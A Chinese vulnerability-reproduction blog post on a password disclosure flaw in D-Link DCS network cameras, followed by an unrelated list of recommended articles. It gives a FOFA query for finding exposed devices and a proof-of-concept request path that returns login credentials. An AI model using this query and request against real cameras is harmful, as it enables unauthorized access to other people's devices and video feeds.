gaynell
gaynell

D-Link DCS 密码泄露漏洞

0x01 前言

本次测试仅供学习使用，如若非法他用，与本文作者无关，需自行负责！！！

0x02 漏洞描述

D-link DCS是一款成像色彩为彩色 是一款网络摄像机。D-link DCS系统存在密码泄露漏洞，攻击者通过漏洞可以获取后台权限。

0x03 受影响版本

DCS-2530L

DCS-2670L

DCS-4603

DCS-4622等多个DCS系列系统

0x04 漏洞复现

fofa：app="D_Link-DCS-型号"
D-Link DCS 密码泄露漏洞_第1张图片

D-Link DCS 密码泄露漏洞_第2张图片
POC

/config/getuser?index=0

1.使用poc进行账号密码查看，得到密码登录即可

/config/getuser?index=0

D-Link DCS 密码泄露漏洞_第3张图片2.得到的账号密码直接登录即可
D-Link DCS 密码泄露漏洞_第4张图片

你可能感兴趣的:(漏洞复现,安全,系统安全,网络安全,web安全)

  • 一分钟了解小程序的等保测评 亿林科技网络安全 小程序
    小程序作为移动互联网应用的一种形式，其安全性和合规性受到了国家法律法规的严格要求。根据《中华人民共和国网络安全法》和《信息安全技术个人信息安全规范》等相关法律法规，小程序在开发和运营过程中需要进行等级保护测评（等保测评），以确保用户数据的安全和隐私保护。等保测评是指对信息系统进行安全等级保护的评估，包括安全技术措施和安全管理措施的评估。小程序的等保测评得分需要在70分以上，且信息系统没有高风险项才
  • 云WAF防御简介之0day攻击 亿林科技网络安全 安全网络web安全
    0day攻击简介0day攻击，也称为零日攻击，是指利用软件或系统中未被公开或未被修复的安全漏洞进行的攻击。这种攻击通常由黑客在发现漏洞后立即利用，而软件开发商可能还没有来得及发布相应的补丁来修复这些漏洞。0day攻击的特点0day攻击的特点包括其隐蔽性和危害性。由于漏洞尚未被发现或修补，攻击者可以轻易地利用这些漏洞获取敏感信息、破坏系统、篡改数据等，给目标系统带来严重的损失。防范0day攻击的建议
  • 云WAF：网络安全的未来之选 亿林科技网络安全 web安全安全
    在数字化时代，网络安全面临着前所未有的挑战。云WAF（WebApplicationFirewall）作为一种创新的网络安全解决方案，正以其独特的优势引领网络安全的新潮流。云WAF（WebApplicationFirewall）作为保护Web应用安全的关键技术，正逐渐成为网络安全领域的新趋势。以下是几个主要原因：弹性扩展能力：云WAF基于云平台的资源和计算能力，可以实现动态的扩展和调整，根据实际流量
  • 网站安全监测：守护网络空间的坚实防线 德迅云安全-小潘 安全网络运维
    随着互联网技术的飞速发展和广泛应用，网站已成为企业、机构和个人展示形象、提供服务、传递信息的重要平台。然而，与此同时，网站也面临着日益严重的安全威胁。黑客攻击、数据泄露、恶意软件等安全问题频发，给网站运营者带来了巨大的经济损失和声誉风险。因此，网站安全监测成为了守护网络空间的重要防线。网站安全监测是指对网站进行全面的安全检查和评估，旨在发现潜在的安全隐患并及时采取相应措施进行防范和处置。它不仅是保
  • 2018-11-16 韩静_340c
    什么是沙游？在沙子中进行的富有想象力的活动。个体化进程的天然镜子。达到内在感觉和核心通路。无意识内容的直观呈现。安全和接纳性的环境。在一个被界定的空间内进行。用和不用水。用和不用物件。静态和动态的世界。辅助性治疗方法。治疗对象包括儿童，成人，夫妻，家庭，团体。沙游治疗的优势。其实沙盘游戏是非常有意思的。沙游融入了语言和非语言方法，通常用来做为心理治疗到辅导技术。沙游的发展趋势是尽可能摆脱僵化的规则
  • 揭秘IP地址与SSL证书：构建数字世界的信任桥梁 alsknv tcp/ipssl网络协议网络http
    在数字时代，每一次点击、每一次交易都离不开安全可靠的加密通信。当您访问一个网站时，是否曾好奇过，如何从浩瀚的网络海洋中确保信息准确无误地送达，并且免受窥探和篡改？答案就藏在IP地址与SSL证书这对黄金搭档中。IP地址：网络的身份证IP地址，即互联网协议地址，是每台联网设备在网络上的唯一身份标识。它就像您的家庭地址，让信息能够准确无误地找到目标。然而，仅凭IP地址并不足以保障通信的安全，因为它只负责
  • 海外云手机是否适合运营TikTok？ TIANGEKUAJING 云手机海外云手机TikTok运营TikTok运营工具
    随着科技的迅猛发展，海外云手机逐渐成为改变工作模式的重要工具。这种基于云端技术的虚拟手机，不仅提供了更加便捷、安全的使用体验，还在电商引流和海外社媒管理等领域展示了其巨大潜力。那么，海外云手机究竟能否有效用于运营TikTok呢？海外云手机有什么特点？数据安全性云手机的一个显著优势在于其数据安全性能。通过将信息存储在云端，即便设备遗失或损坏，用户数据依然可以得到有效保护。这种存储方式确保了资料的安全
  • 【网络安全】URL解析器混淆绕过CSP实现XSS 秋说 网络安全web安全xss漏洞挖掘
    未经许可，不得转载。文章目录前言正文前言许多流行的静态网站生成器都存在图像CDN功能，它们通过优化网站中的图像来加快页面加载速度。例如：1、OptimizingImages|Next.js利用内置的next/image组件优化图像（nextjs.org）2、NuxtImage:Nuxt应用的图像优化即插即用的图像优化功能，使用内置优化器对图像进行调整（image.nuxt.com）这些工具的目标都
  • 一场说走就走的旅行 刺猬菇娘
    还有十天假期，原本计划好好休息休整迎接上班，可是当每个上班的人告诉我，好羡慕我还有10天假期，他们想去旅行都没时间。突然想，还有很多地方想去没去，犹豫得太多，比如金钱，住宿，一个人安全问题，还有以前那种一个人出行的勇气和胆量会随着年龄增长而变小。我是那种想法很多，缺乏行动力的人，好多事情好多人因为我的畏缩，我的犹豫而错过。他们说，想太多是很多都市人的通病。想太多，没行动；想太多，错过机会；想太多，
  • IP查询技术：构建网络安全的坚实防线 IP地址查询 web安全tcp/ip网络
    在数字化时代，企业网络面临着复杂多变的威胁与挑战。因此，构建一个稳固的网络安全体系至关重要。而IP查询技术，作为网络安全防御体系中的一把利剑，正日益成为企业防范网络风险的重要工具。什么是IP查询技术？IP查询技术，简而言之，是通过分析特定IP地址的活动和行为，来评估其潜在的网络威胁和安全风险。这一技术不仅关注IP地址的所在位置、历史活动记录，还深入剖析其连接模式、使用频率等关键信息。通过这些数据的
  • 丹凤张杰‖人生【感悟】词四首 丹凤张杰
    丹凤张杰‖人生【感悟】词四首三月春风拂面过阳光普照生万物花草树木生新样大好河山换容光日落夕阳半边天半辈己过无少年人生只有几万天何必苦恼度余年一辈儿孙一辈福努力进步自奋斗间隔运行有步骤命运在手自己走不早奋斗白了头咋能不叫人害羞少壮勤奋老来运一生不做无用人作者简介：张杰，笔名，丹江浪子，微信名，安全文明，商洛，丹凤人。中共党员，退役军人，初小文化，职业，通村客运乘务员。商洛棣花古镇乡土文化研究院会员，
  • 【0224读书清单】情商是什么？之九 李不乖
    001接受帮助并不丢脸向他人求助，其实既能解决自己的问题，也能开拓人际关系。面对真诚的请求，大多数人都不会拒绝，所以不要有太多顾忌。002柔能克刚女性可以坚强果断，但是不宜太过刚强，失去了女性的柔美。有时候，柔和比强硬更能解决问题。003保持距离和城府深的人，尤其是工于心计的人交往，要小心提防，谨言慎行，也不要自视聪明，借口对方的内心。还是保持安全距离的好。004把握界限和性格孤僻的人交往，要照顾
  • 华山一日游旅游攻略 卖小伙子的姑凉
    华山以险、奇位居五岳之一。自古华山一条路，顾名思义，不管你是上山还是下山都是一条路。图片发自App我和朋友刚从华山回来，以自己的亲身经历这下这边华山攻略，希望能给各位想去华山玩的朋友们提供一点参考意见。华山可以24小时登山，旺季门票价格是160元，学生证半票80元，有效期为一天。根据自己的情况可以选择夜爬或者白天登山。我和我朋友因为都是妹子，考虑到体力和安全方面的问题，选择的是白天登山。登山的路线
  • Springboot配置文件中账号密码等敏感信息的加解密 乌托邦的逃亡者 软件开发springspringbootjava后端
    说明：使用过SpringBoot配置文件的朋友都知道，资源文件中的内容通常情况下是明文显示，安全性比较低。打开application.properties或application.yml，比如MySQL登录密码，Redis登录密码以及第三方的密钥等等一览无余。这里介绍一个加解密组件jasypt，用以提高配置文件中敏感配置数据的安全性。本文以数据库连接URL、用户名和数据库密码加密为例。一，引入Ma
  • 人生低谷时七个建议 袁开培
    1、找人聊一聊低谷期的时候很容易陷入自己的消极思维中，这时候找人聊聊有助于缓解自己的情绪，他人的建议还可能给你带来一些新的视角。你可以找那些你喜欢的并让你感觉安全的朋友或者家人，在他们面前你会感到轻松。也可以多换几个人聊一聊，他们或许能带来一些不同的感悟。2、不要停止自己手头的工作在低谷期保持工作状态确实有些困难，但如果可以，尽量不要停止自己手头的工作，哪怕做些很简单的内容。因为低谷期会有严重的“
  • MySQL 高可用性架构：复制与分片 墨瑾轩 数据库mysql架构adb
    关注墨瑾轩，带你探索编程的奥秘！超萌技术攻略，轻松晋级编程高手技术宝库已备好，就等你来挖掘订阅墨瑾轩，智趣学习不孤单即刻启航，编程之旅更有趣嗨，小伙伴们！今天我们要聊的是一个超级重要的话题——如何通过复制和分片技术来构建MySQL的高可用性架构。想象一下，你的数据库就像是一座城堡，里面藏满了宝贵的用户数据。为了保护这座城堡，我们需要建立一整套防御体系，确保数据安全无虞，而且即便遇到突发状况也能迅速
  • 2018-01-24 京心达张秀宝
    1.-23日日精进：敬畏—进入—体验—交给—持续1,缺啥补啥，怕啥练啥；2,一切为我所用，所用为团队家；3，我想变，我要变，我不得不变，我会变得越来越好。今日体验:年底了，回家的车辆增多，好好检查每一辆车，安全第一，让客户安全回家。核心:把客户车辆检查好，咱们心里也踏实。
  • Docker进入正在运行的容器的命令 逐星ing dockerlinux运维测试容器运维docker
    文章目录引言基本命令常用选项示例注意事项进入容器的目的安全建议引言在Docker中，进入正在运行的容器的命令通常使用dockerexec命令。以下是具体的命令格式和一些示例：基本命令dockerexec[选项]容器名称或ID命令常用选项-it：分配一个伪终端并保持标准输入开放，这样你就可以与容器进行交互。-d：以守护进程模式运行容器（后台运行）。示例交互式进入容器：dockerexec-it容器名
  • 关于保护自己的利益这堂课，我们缺得太久了 娱人励己
    关于宽容别人，帮助别人，舍己为人等的思想和例子我们知道得太多太多了，可关于保护自己的利益这堂课却宣传甚少。小时候，家长和老师会教导我们不要玩水，不要横穿马路，不要用湿手摸插座电器等等保护自己的知识，可长大后，这样的知识越来越少了。人不学习真的就会自知自觉保护自己的利益和安全吗，不会的，我们知道了有些电器很危险，有些野兽很危险，有些自然灾难很危险，却不知人更危险。所以有很多人因搭了黑车而失联，有些人
  • 如何在Ubuntu 16.04上使用Let‘s Encrypt保护Apache2 JKooll sharecodeubuntulet'sencryptapachehttps
    原文：https://zhaoshuquan.com/posts/如何在ubuntu-16.04上使用lets-encrypt保护apache2/介绍本教程将向您展示如何在运行Apache作为Web服务器的Ubuntu16.04服务器上设置Let’sEncrypt的TLS/SSL证书。Web服务器中使用SSL证书来加密服务器和客户端之间的流量，为访问应用程序的用户提供额外的安全性。让我们的加密提供
  • 文件权限类 不排版
    Linux权限：安全模型：文件权限：r,w,x目录权限：r,w,xrwx:rw-,r--,r-xrwx:111,7rw-:110,6r-x:101,5r--:100,4-wx:011,3-w-:010,2--x:001,1---:000,0750:rwxr-x---练习：1、600，640，660，775，755，750，700,4002、rwxr-x---,r-xr-x---,rw-r-----
  • 差一点断更了 腊月雪洛
    我的日更小作文，一般是早上写的。今天早上，为了赶班车，没有来得及写。等到班上，忙于工作，没时间写。中午下班后，在办公室里休息。想起了，于是打开了，看着简友的文章，留言互动，点赞，玩的不亦乐乎。突然想起，自己今天好像没写点啥！心里咯噔了一下，日更文！打开一看，还真没写！好悬啊。先写自己的小作文吧。今天早会，领导又强调了安全的重要性，我的压力感陡然升到180，极限了，突破不了了，又想到了退休。什么样的
  • ThreadLocal 血莲丹 JAVA基础java多线程内存泄漏ThreadLocal
    简介  我们都知道，多线程情况下，是会有资源竞争问题。当并非访问某共享资源时，就会出现问题，尤其是写操作，程序猿一般通过同步锁机制来保证线程安全。而当我们需要为每一个线程都保存一份线程独有的数据时，即相当于将共享变量变为每个线程都有一份的私有变量，就可以使用到ThreadLocal。  ThreadLocal位于java.lang包下，是JDK提供的一个类，支持泛型的。该类的作用就如其名字一样，线
  • Gerrit报错：Permission denied (publickey) 阳哥说全栈 Gitgit
    在使用Gerritpull代码的时候，你会发现报错，错误信息大概是：Permissiondenied(publickey)。是由于OpenSSH从8.8版本由于安全原因开始弃用了rsa加密的密钥，因为OpenSSH认为rsa破解成本已经低于5万美元，所以觉得成本太小了，有风险就给禁用了。你可以通过命令：ssh-v[git服务器]去查看Gerrit服务器的OpenSSH的版本号，如果≥8.8，就可以
  • 《自卑与超越》第11章 朋友及同伴 StarXing2018
    1.人如何才能在这种社会现象之下感到有安全感呢？第一他必须要有财产，譬如衣物及房地是其财产之一部分，他如拥有的越多，安全感也随之越强，如果没有财产或失去了所有的就他自己和他以外的别人都会觉得是一个不完整的人，其次是权位及声望粉，两者一方面是同个人财产是另一部分外也是他与人竞争之中成败的关键，被人赞赏其有驾驭人的权力是稳固及增加财产的象征。2.人类的历史最终将证明她是否走过了一条正确的人生道路，在许
  • 【微服务】springboot 整合 SA-Token 使用详解 小码农叔叔 微服务治理与实战SA-Token使用详解sa-token使用详解sa-tokensa-token使用sa-token认证授权java使用sa-token
    目录一、前言二、认证与授权介绍2.1什么是认证2.1.1认证的目的2.1.2认证基本步骤2.2什么是授权2.2.1常用的授权模型三、微服务中常用的认证安全框架3.1SpringSecurity3.1.1SpringSecurity特点3.2JWT(JSONWebTokens)3.2.1JWT特点3.3其他认证安全框架四、SA-Token介绍4.1SA-Token是什么4.2SA-Token特点4.
  • Python搭建自己的VPN 用数据说话用数据决策 pythonphp网络
    在这个信息爆炸的数字化时代，我们的网络隐私和安全正面临着前所未有的挑战。虚拟专用网络（VPN）作为一种有效的解决方案，通过加密通信和隧道技术，为用户在公共网络上提供安全的连接。本文将带您深入了解VPN的工作机制，并展示如何使用Python和strongSwan库构建一个高级VPN连接，以实现更高级别的安全性和灵活性。VPN工作机制深度解析加密通信协议：数据的保护神VPN的首要任务是确保数据的机密性
  • 修改打包后element-ui的字体文件名；JS文件名；CSS文件名 静纸~ vue.js前端javascript
    修改这些静态文件名的原因是客户那边扫描出漏洞：字体文件名称不符合安全规则，就想办法给全部重新命名修改字体文件该方法不起作用——在vue.config.js里面配置打包时的fonts名称；其他场景下可能会适用记录一下constTimestamp=newDate().getTime();chainWebpack(config){config.module.rule("fonts").test(/\.(
  • 白百何婚姻真相再次被揭露：全职妈妈的安全感，来自哪里？ 书本家读书会
    最近，白百何与佟大为主演的新剧《我们的婚姻》正在热播。这是白百何时隔4年后，第一部电视剧作品。作为曾经的票房女王，白百何的演技有目共睹。这部剧，白百何饰演的沈慧星理想是先成家后立业，所以，婚后她成了一位全职妈妈。在选择全职妈妈这份职业前，她也曾有着光辉的简历，毕业于顶尖的大学，情商和智商均在线。为了照顾孩子，照顾好家庭，她选择放弃曾经闪耀着光芒的自己，回到家庭中，专心地相夫教子。即便如此，她依然具
  • SSH生成SSH密钥（公钥和私钥） 小刘同学++ ssh运维服务器
    在设置SSH服务时，生成SSH密钥（公钥和私钥）是一个常见的任务。这些密钥用于安全地进行身份验证，无需输入密码。以下是如何生成SSH密钥的步骤：1.生成SSH密钥对首先，您需要在客户端机器上生成一个SSH密钥对。使用ssh-keygen命令来生成密钥对。ssh-keygen-trsa-b4096-C"[email protected]"-trsa：指定密钥类型为RSA。-b4096：指定
  • jQuery 跨域访问的三种方式 No 'Access-Control-Allow-Origin' header is present on the reque qiaolevip 每天进步一点点学习永无止境跨域众观千象
    XMLHttpRequest cannot load http://v.xxx.com. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:63342' is therefore not allowed access. test.html:1
  • mysql 分区查询优化 annan211 java分区优化mysql
    分区查询优化 引入分区可以给查询带来一定的优势，但同时也会引入一些bug. 分区最大的优点就是优化器可以根据分区函数来过滤掉一些分区，通过分区过滤可以让查询扫描更少的数据。 所以，对于访问分区表来说，很重要的一点是要在where 条件中带入分区，让优化器过滤掉无需访问的分区。 可以通过查看explain执行计划，是否携带 partitions
  • MYSQL存储过程中使用游标 chicony Mysql存储过程
    DELIMITER $$ DROP PROCEDURE IF EXISTS getUserInfo $$ CREATE PROCEDURE getUserInfo(in date_day datetime)-- -- 实例-- 存储过程名为：getUserInfo-- 参数为：date_day日期格式:2008-03-08--    BEGINdecla
  • mysql 和 sqlite 区别 Array_06 sqlite
    转载： http://www.cnblogs.com/ygm900/p/3460663.html mysql 和 sqlite 区别 SQLITE是单机数据库。功能简约，小型化，追求最大磁盘效率 MYSQL是完善的服务器数据库。功能全面，综合化，追求最大并发效率 MYSQL、Sybase、Oracle等这些都是试用于服务器数据量大功能多需要安装，例如网站访问量比较大的。而sq
  • pinyin4j使用 oloz pinyin4j
    首先需要pinyin4j的jar包支持；jar包已上传至附件内 方法一:把汉字转换为拼音；例如：编程转换后则为biancheng      /** * 将汉字转换为全拼 * @param src 你的需要转换的汉字 * @param isUPPERCASE 是否转换为大写的拼音； true:转换为大写；fal
  • 微博发送私信 随意而生 微博
    在前面文章中说了如和获取登陆时候所需要的cookie，现在只要拿到最后登陆所需要的cookie，然后抓包分析一下微博私信发送界面 http://weibo.com/message/history?uid=****&name=**** 可以发现其发送提交的Post请求和其中的数据， 让后用程序模拟发送POST请求中的数据，带着cookie发送到私信的接入口，就可以实现发私信的功能了。
  • jsp 香水浓 jsp
    JSP初始化     容器载入JSP文件后，它会在为请求提供任何服务前调用jspInit()方法。如果您需要执行自定义的JSP初始化任务，复写jspInit()方法就行了 JSP执行     这一阶段描述了JSP生命周期中一切与请求相关的交互行为，直到被销毁。     当JSP网页完成初始化后
  • 在 Windows 上安装 SVN Subversion 服务端 AdyZhang SVN
    在 Windows 上安装 SVN Subversion 服务端2009-09-16高宏伟哈尔滨市道里区通达街291号   最佳阅读效果请访问原地址：http://blog.donews.com/dukejoe/archive/2009/09/16/1560917.aspx   现在的Subversion已经足够稳定，而且已经进入了它的黄金时段。我们看到大量的项目都在使
  • android开发中如何使用 alertDialog从listView中删除数据？ aijuans android
    我现在使用listView展示了很多的配置信息，我现在想在点击其中一条的时候填出 alertDialog,点击确认后就删除该条数据，（ ArrayAdapter ，ArrayList，listView 全部删除），我知道在 下面的onItemLongClick 方法中 参数 arg2  是选中的序号，但是我不知道如何继续处理下去 1 2 3
  • jdk-6u26-linux-x64.bin 安装 baalwolf linux
    1.上传安装文件(jdk-6u26-linux-x64.bin) 2.修改权限 [root@localhost ~]# ls -l /usr/local/jdk-6u26-linux-x64.bin 3.执行安装文件 [root@localhost ~]# cd /usr/local [root@localhost local]# ./jdk-6u26-linux-x64.bin&nbs
  • MongoDB经典面试题集锦 BigBird2012 mongodb
    1.什么是NoSQL数据库？NoSQL和RDBMS有什么区别？在哪些情况下使用和不使用NoSQL数据库？ NoSQL是非关系型数据库，NoSQL = Not Only SQL。 关系型数据库采用的结构化的数据，NoSQL采用的是键值对的方式存储数据。 在处理非结构化/半结构化的大数据时；在水平方向上进行扩展时；随时应对动态增加的数据项时可以优先考虑使用NoSQL数据库。 在考虑数据库的成熟
  • JavaScript异步编程Promise模式的6个特性 bijian1013 JavaScriptPromise
            Promise是一个非常有价值的构造器，能够帮助你避免使用镶套匿名方法，而使用更具有可读性的方式组装异步代码。这里我们将介绍6个最简单的特性。         在我们开始正式介绍之前，我们想看看Javascript Promise的样子： var p = new Promise(function(r
  • [Zookeeper学习笔记之八]Zookeeper源代码分析之Zookeeper.ZKWatchManager bit1129 zookeeper
    ClientWatchManager接口 //接口的唯一方法materialize用于确定那些Watcher需要被通知 //确定Watcher需要三方面的因素1.事件状态 2.事件类型 3.znode的path public interface ClientWatchManager { /** * Return a set of watchers that should
  • 【Scala十五】Scala核心九：隐式转换之二 bit1129 scala
    隐式转换存在的必要性，   在Java Swing中，按钮点击事件的处理，转换为Scala的的写法如下：   val button = new JButton button.addActionListener( new ActionListener { def actionPerformed(event: ActionEvent) {
  • Android JSON数据的解析与封装小Demo ronin47
    转自：http://www.open-open.com/lib/view/open1420529336406.html package com.example.jsondemo; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject;    impor
  • [设计]字体创意设计方法谈 brotherlamp UIui自学ui视频ui教程ui资料
      从古至今，文字在我们的生活中是必不可少的事物，我们不能想象没有文字的世界将会是怎样。在平面设计中，UI设计师在文字上所花的心思和功夫最多，因为文字能直观地表达UI设计师所的意念。在文字上的创造设计，直接反映出平面作品的主题。 如设计一幅戴尔笔记本电脑的广告海报，假设海报上没有出现“戴尔”两个文字，即使放上所有戴尔笔记本电脑的图片都不能让人们得知这些电脑是什么品牌。只要写上“戴尔笔
  • 单调队列-用一个长度为k的窗在整数数列上移动，求窗里面所包含的数的最大值 bylijinnan java算法面试题
    import java.util.LinkedList; /* 单调队列 滑动窗口 单调队列是这样的一个队列：队列里面的元素是有序的，是递增或者递减 题目：给定一个长度为N的整数数列a(i),i=0,1,...,N-1和窗长度k. 要求：f(i) = max{a(i-k+1),a(i-k+2),..., a(i)},i = 0,1,...,N-1 问题的另一种描述就
  • struts2处理一个form多个submit chiangfai struts2
    web应用中，为完成不同工作，一个jsp的form标签可能有多个submit。如下代码： <s:form action="submit" method="post" namespace="/my"> <s:textfield name="msg" label="叙述：">
  • shell查找上个月，陷阱及野路子 chenchao051 shell
    date -d "-1 month" +%F     以上这段代码，假如在2012/10/31执行，结果并不会出现你预计的9月份，而是会出现八月份，原因是10月份有31天，9月份30天，所以-1 month在10月份看来要减去31天，所以直接到了8月31日这天，这不靠谱。     野路子解决：假设当天日期大于15号
  • mysql导出数据中文乱码问题 daizj mysql中文乱码导数据
    解决mysql导入导出数据乱码问题方法： １、进入mysql，通过如下命令查看数据库编码方式： mysql>  show variables like 'character_set_%'; +--------------------------+----------------------------------------+ | Variable_name&nbs
  • SAE部署Smarty出现：Uncaught exception 'SmartyException' with message 'unable to write dcj3sjt126com PHPsmartysae
      对于SAE出现的问题：Uncaught exception 'SmartyException' with message 'unable to write file...。 官方给出了详细的FAQ：http://sae.sina.com.cn/?m=faqs&catId=11#show_213 解决方案为：   01 $path 
  • 《教父》系列台词 dcj3sjt126com
    Your love is also your weak point. 你的所爱同时也是你的弱点。   If anything in this life is certain, if history has taught us anything, it is that you can kill anyone.   不顾家的人永远不可能成为一个真正的男人。 &
  • mongodb安装与使用 dyy_gusi mongo
    一.MongoDB安装和启动,widndows和linux基本相同 1.下载数据库,     linux:mongodb-linux-x86_64-ubuntu1404-3.0.3.tgz 2.解压文件,并且放置到合适的位置     tar -vxf mongodb-linux-x86_64-ubun
  • Git排除目录 geeksun git
    在Git的版本控制中，可能有些文件是不需要加入控制的，那我们在提交代码时就需要忽略这些文件，下面讲讲应该怎么给Git配置一些忽略规则。   有三种方法可以忽略掉这些文件，这三种方法都能达到目的，只不过适用情景不一样。 1.  针对单一工程排除文件 这种方式会让这个工程的所有修改者在克隆代码的同时，也能克隆到过滤规则，而不用自己再写一份，这就能保证所有修改者应用的都是同一
  • Ubuntu 创建开机自启动脚本的方法 hongtoushizi ubuntu
    转载自： http://rongjih.blog.163.com/blog/static/33574461201111504843245/ Ubuntu 创建开机自启动脚本的步骤如下： 1) 将你的启动脚本复制到 /etc/init.d目录下 以下假设你的脚本文件名为 test。   2) 设置脚本文件的权限 $ sudo chmod 755
  • 第八章 流量复制/AB测试/协程 jinnianshilongnian nginxluacoroutine
    流量复制 在实际开发中经常涉及到项目的升级，而该升级不能简单的上线就完事了，需要验证该升级是否兼容老的上线，因此可能需要并行运行两个项目一段时间进行数据比对和校验，待没问题后再进行上线。这其实就需要进行流量复制，把流量复制到其他服务器上，一种方式是使用如tcpcopy引流；另外我们还可以使用nginx的HttpLuaModule模块中的ngx.location.capture_multi进行并发
  • 电商系统商品表设计 lkl
    DROP TABLE IF EXISTS `category`; -- 类目表 /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `category` ( `id` int(11) NOT NUL
  • 修改phpMyAdmin导入SQL文件的大小限制 pda158 sqlmysql
    　用phpMyAdmin导入mysql数据库时，我的10M的 数据库不能导入，提示mysql数据库最大只能导入2M。 　　 phpMyAdmin数据库导入出错： 　　You probably tried to upload too large file. Please refer to documentation for ways to workaround this limit.
  • Tomcat性能调优方案 Sobfist apachejvmtomcat应用服务器
    一、操作系统调优 对于操作系统优化来说，是尽可能的增大可使用的内存容量、提高CPU的频率，保证文件系统的读写速率等。经过压力测试验证，在并发连接很多的情况下，CPU的处理能力越强，系统运行速度越快。。 【适用场景】 任何项目。 二、Java虚拟机调优 应该选择SUN的JVM，在满足项目需要的前提下，尽量选用版本较高的JVM，一般来说高版本产品在速度和效率上比低版本会有改进。 J
  • SQLServer学习笔记 vipbooks 数据结构xml
    1、create database school 创建数据库school 2、drop database school 删除数据库school 3、use school 连接到school数据库，使其成为当前数据库 4、create table class(classID int primary key identity not null) 创建一个名为class的表，其有一
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他